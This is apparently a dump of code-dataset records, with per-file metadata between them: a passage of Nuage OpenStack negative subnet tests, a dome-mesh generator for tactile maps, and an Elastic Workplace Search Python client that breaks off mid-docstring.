linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt3_l2_unmgd_without_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt_3_l2_unmgd_with_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip=VSD_L2_SHARED_MGD_OPT3_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt_3_l2_unmgd_no_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt_3_l2_unmgd_wo_gw_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt_3_l2_unmgd_with_gw_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=VALID_CIDR_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_opt_3_l2_unmgd_no_gw_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom = self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_wo_gw_no_dhcp_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L3_SHARED_MGD_CIDR, gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_with_gw_no_dhcp_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L3_SHARED_MGD_CIDR, gateway_ip=base_vsd_managed_networks.VSD_L3_SHARED_MGD_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_no_gw_no_dhcp_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L3_SHARED_MGD_CIDR, gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_wo_gw_cidr_mismatch_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_with_gw_cidr_mismatch_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=VALID_CIDR_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_no_gw_cidr_mismatch_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with dhcp options 3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=None, must_fail=True) @nuage_test.class_header(tags=[tags.ML2, tags.VSD_MANAGED]) class VSDPublicSharedResourcesML2Test(VSDPublicResourcesML2Test): os_shared_network = True

42.075426

79

0.637715

4,825

34,586

4.236477

0.047461

0.030576

0.047894

0.029059

0.912969

0.906218

0.894721

0.88797

0.885084

0.878773

0

0.023451

0.288614

34,586

821

80

42.126675

0.807348

0.318308

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0.792735

0

0.021487

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0.002137

1

0.07265

false

0

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0

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0

null

0

1

0

1

0

null

0

7

f21def0abd39bf598dafbf4f177dd456a3970e0c

5,591

py

Python

makeDome.py

bttaylor/TactileMaps

d09d70d8f12e6e2b90f8c7cb1ea0b5d72765ef45

[ "MIT" ]

null

makeDome.py

bttaylor/TactileMaps

d09d70d8f12e6e2b90f8c7cb1ea0b5d72765ef45

[ "MIT" ]

null

makeDome.py

bttaylor/TactileMaps

d09d70d8f12e6e2b90f8c7cb1ea0b5d72765ef45

[ "MIT" ]

null

from shapely.geometry import box, Polygon, LineString, Point, MultiLineString, MultiPolygon import math import elevation2stl # def makeDome(r,center,coarseness): # (tri,outer) = makeCircle(r,center,coarseness); # for i in range(0,len(tri)): # p1 = [tri[i][0].x,tri[i][0].y,tri[i][0].z] # p2 = [tri[i][1].x,tri[i][1].y,tri[i][1].z] # p3 = [tri[i][2].x,tri[i][2].y,tri[i][2].z] # elevation2stl.printTriangle(p1,p2,p3,fname) def makeCircle(r,center,coarseness,z_adj=0): inner_pts = [Point(center.x, center.y, r + z_adj)]; #print 'Row 0: ' #print inner triangles = []; row_cnt = coarseness + 1; phi = (math.pi/2)/coarseness; for i in range(0,coarseness): #inner_r = r * math.sin(i * phi); #inner_z = r * math.cos(i * phi); outer_r = r * math.sin((i+1) * phi); outer_z = r * math.cos((i+1) * phi); tri_row = i + 1; #print 'Row ' + str(tri_row) + ': ' #calc points for inner row theta = (math.pi/2)/tri_row; #first point (along the axis) x1 = center.x + outer_r * math.sin(0 * theta) y1 = center.y + outer_r * math.cos(0 * theta) outer_pts = [Point(x1,y1,outer_z + z_adj)]; #print [x1, y1, outer_z] for j in range(0,tri_row): #next j points x2 = center.x + outer_r * math.sin((j+1) * theta); y2 = center.y + outer_r * math.cos((j+1) * theta); outer_pts.append(Point(x2,y2,outer_z + z_adj)) #print [x2, y2, outer_z] triangles.append([inner_pts[0],outer_pts[0],outer_pts[1]]) tri_count = 1 + (len(inner_pts)-1)*2; for j in range(1,len(inner_pts)): #one quandrant triangles.append([inner_pts[j-1], outer_pts[j], inner_pts[j]]); triangles.append([inner_pts[j], outer_pts[j], outer_pts[j+1]]) inner_pts = outer_pts; all_outer = outer_pts[0:len(outer_pts)-1]; rotate = math.pi/2; inner_pts = [Point(center.x, center.y, r + z_adj)]; for i in range(0,coarseness): #inner_r = r * math.sin(i * phi); #inner_z = r * math.cos(i * phi); outer_r = r * math.sin((i+1) * phi); outer_z = r * math.cos((i+1) * phi); tri_row = i + 1; #print 'Row ' + str(tri_row) + ': ' #calc points for inner row theta = (math.pi/2)/tri_row; #first point (along the axis) x1 = center.x + outer_r * math.sin(0 * theta + rotate) y1 = center.y + outer_r * math.cos(0 * theta + rotate) outer_pts = [Point(x1,y1,outer_z + z_adj)]; #print [x1, y1, outer_z] for j in range(0,tri_row): #next j points x2 = center.x + outer_r * math.sin((j+1) * theta + rotate); y2 = center.y + outer_r * math.cos((j+1) * theta + rotate); outer_pts.append(Point(x2,y2,outer_z + z_adj)) #print [x2, y2, outer_z] triangles.append([inner_pts[0],outer_pts[0],outer_pts[1]]) tri_count = 1 + (len(inner_pts)-1)*2; for j in range(1,len(inner_pts)): #one quandrant triangles.append([inner_pts[j-1], outer_pts[j], inner_pts[j]]); triangles.append([inner_pts[j], outer_pts[j], outer_pts[j+1]]) inner_pts = outer_pts; all_outer = all_outer + outer_pts[0:len(outer_pts)-1]; #there is overlap w/ the points and the mirror technique places the duplicate in #either first or last index depending on how it was mirrored rotate = math.pi inner_pts = [Point(center.x, center.y, r + z_adj)]; for i in range(0,coarseness): #inner_r = r * math.sin(i * phi); #inner_z = r * math.cos(i * phi); outer_r = r * math.sin((i+1) * phi); outer_z = r * math.cos((i+1) * phi); tri_row = i + 1; #print 'Row ' + str(tri_row) + ': ' #calc points for inner row theta = (math.pi/2)/tri_row; #first point (along the axis) x1 = center.x + outer_r * math.sin(0 * theta + rotate) y1 = center.y + outer_r * math.cos(0 * theta + rotate) outer_pts = [Point(x1,y1,outer_z + z_adj)]; #print [x1, y1, outer_z] for j in range(0,tri_row): #next j points x2 = center.x + outer_r * math.sin((j+1) * theta + rotate); y2 = center.y + outer_r * math.cos((j+1) * theta + rotate); outer_pts.append(Point(x2,y2,outer_z + z_adj)) #print [x2, y2, outer_z] triangles.append([inner_pts[0],outer_pts[0],outer_pts[1]]) tri_count = 1 + (len(inner_pts)-1)*2; for j in range(1,len(inner_pts)): #one quandrant triangles.append([inner_pts[j-1], outer_pts[j], inner_pts[j]]); triangles.append([inner_pts[j], outer_pts[j], outer_pts[j+1]]) inner_pts = outer_pts; all_outer = all_outer + outer_pts[0:len(outer_pts)-1]; rotate = 3*math.pi/2; inner_pts = [Point(center.x, center.y, r + z_adj)]; for i in range(0,coarseness): #inner_r = r * math.sin(i * phi); #inner_z = r * math.cos(i * phi); outer_r = r * math.sin((i+1) * phi); outer_z = r * math.cos((i+1) * phi); tri_row = i + 1; #print 'Row ' + str(tri_row) + ': ' #calc points for inner row theta = (math.pi/2)/tri_row; #first point (along the axis) x1 = center.x + outer_r * math.sin(0 * theta + rotate) y1 = center.y + outer_r * math.cos(0 * theta + rotate) outer_pts = [Point(x1,y1,outer_z + z_adj)]; #print [x1, y1, outer_z] for j in range(0,tri_row): #next j points x2 = center.x + outer_r * math.sin((j+1) * theta + rotate); y2 = center.y + outer_r * math.cos((j+1) * theta + rotate); outer_pts.append(Point(x2,y2,outer_z + z_adj)) #print [x2, y2, outer_z] triangles.append([inner_pts[0],outer_pts[0],outer_pts[1]]) tri_count = 1 + (len(inner_pts)-1)*2; for j in range(1,len(inner_pts)): #one quandrant triangles.append([inner_pts[j-1], outer_pts[j], inner_pts[j]]); triangles.append([inner_pts[j], outer_pts[j], outer_pts[j+1]]) inner_pts = outer_pts; all_outer = all_outer + outer_pts[0:len(outer_pts)-1]; return (triangles, all_outer)

31.767045

91

0.630656

1,015

5,591

3.314286

0.0867

0.095125

0.03805

0.082045

0.850773

0.84126

0.832937

0

0.034559

0.187444

5,591

175

92

31.948571

0.705921

0.244142

0

0.824176

0

1

0.010989

false

0

0.032967

0

0.054945

0

null

0

1

0

1

0

null

0

7

4818dc86f9fb3c156ecd708cae494e47fdfcdb0b

38,838

py

Python

project/workplace_search.py

gujralsanyam22/elastic_enterprise_search_app

0ceec37d249006c2ef5d6415e1f5507df642deed

[ "Apache-2.0" ]

null

project/workplace_search.py

gujralsanyam22/elastic_enterprise_search_app

0ceec37d249006c2ef5d6415e1f5507df642deed

[ "Apache-2.0" ]

null

project/workplace_search.py

gujralsanyam22/elastic_enterprise_search_app

0ceec37d249006c2ef5d6415e1f5507df642deed

[ "Apache-2.0" ]

null

# Licensed to Elasticsearch B.V. under one or more contributor # license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright # ownership. Elasticsearch B.V. licenses this file to you under # the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from elastic_transport import QueryParams from .._utils import ( # noqa: F401 DEFAULT, SKIP_IN_PATH, to_array, to_deep_object, to_path, ) from ._base import BaseClient class WorkplaceSearch(BaseClient): def create_analytics_event( self, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Capture click and feedback analytic events `<https://www.elastic.co/guide/en/workplace-search/current/workplace-search-analytics-api.html>`_ :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: """ params = QueryParams(params) return self.perform_request( "POST", "/api/ws/v1/analytics/event", body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def create_content_source( self, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Create a content source `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#create-content-source-api>`_ :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ params = QueryParams(params) return self.perform_request( "POST", "/api/ws/v1/sources", body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def delete_content_source( self, content_source_id, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Deletes a content source by ID `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#remove-content-source-api>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "DELETE", to_path( "api", "ws", "v1", "sources", content_source_id, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def get_content_source( self, content_source_id, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Retrieves a content source by ID `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#get-content-source-api>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def put_content_source( self, content_source_id, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Update a content source `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#update-content-source-api>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "PUT", to_path( "api", "ws", "v1", "sources", content_source_id, ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def list_content_sources( self, current_page=None, page_size=None, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Retrieves all content sources `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#list-content-sources-api>`_ :arg current_page: Which page of results to request :arg page_size: The number of results to return in a page :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ params = QueryParams(params) if current_page is not None: params.add("page[current]", current_page) if page_size is not None: params.add("page[size]", page_size) return self.perform_request( "GET", "/api/ws/v1/sources", params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def get_document( self, content_source_id, document_id, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Retrieves a document by ID from the specified content source `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-content-sources-api.html#get-document-by-id-api>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg document_id: Unique ID for a content source document. Provided upon or returned at creation. :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, document_id, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, "documents", document_id, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def delete_documents( self, content_source_id, document_ids, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Deletes a list of documents from a custom content source `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-custom-sources-api.html#delete-by-id>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg document_ids: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: :raises elastic_enterprise_search.PayloadTooLargeError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "POST", to_path( "api", "ws", "v1", "sources", content_source_id, "documents", "bulk_destroy", ), body=document_ids, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def delete_all_documents( self, content_source_id, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Deletes all documents in a custom content source `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-custom-sources-api.html#delete-all-documents>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "DELETE", to_path( "api", "ws", "v1", "sources", content_source_id, "documents", ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def index_documents( self, content_source_id, documents, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Indexes one or more new documents into a custom content source, or updates one or more existing documents `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-custom-sources-api.html#index-and-update>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg documents: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: :raises elastic_enterprise_search.PayloadTooLargeError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "POST", to_path( "api", "ws", "v1", "sources", content_source_id, "documents", "bulk_create", ), body=documents, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def list_external_identities( self, content_source_id, current_page=None, page_size=None, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Retrieves all external identities `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-external-identities-api.html#list-external-identities>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg current_page: Which page of results to request :arg page_size: The number of results to return in a page :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) if current_page is not None: params.add("page[current]", current_page) if page_size is not None: params.add("page[size]", page_size) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, "external_identities", ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def create_external_identity( self, content_source_id, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Adds a new external identity `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-external-identities-api.html#add-external-identity>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "POST", to_path( "api", "ws", "v1", "sources", content_source_id, "external_identities", ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def delete_external_identity( self, content_source_id, user, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Deletes an external identity `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-external-identities-api.html#remove-external-identity>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "DELETE", to_path( "api", "ws", "v1", "sources", content_source_id, "external_identities", user, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def get_external_identity( self, content_source_id, user, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Retrieves an external identity `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-external-identities-api.html#show-external-identity>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, "external_identities", user, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def put_external_identity( self, content_source_id, user, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Updates an external identity `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-external-identities-api.html#update-external-identity>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "PUT", to_path( "api", "ws", "v1", "sources", content_source_id, "external_identities", user, ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def list_permissions( self, content_source_id, current_page=None, page_size=None, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Lists all permissions for all users `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-document-permissions-api.html#list>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg current_page: Which page of results to request :arg page_size: The number of results to return in a page :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request 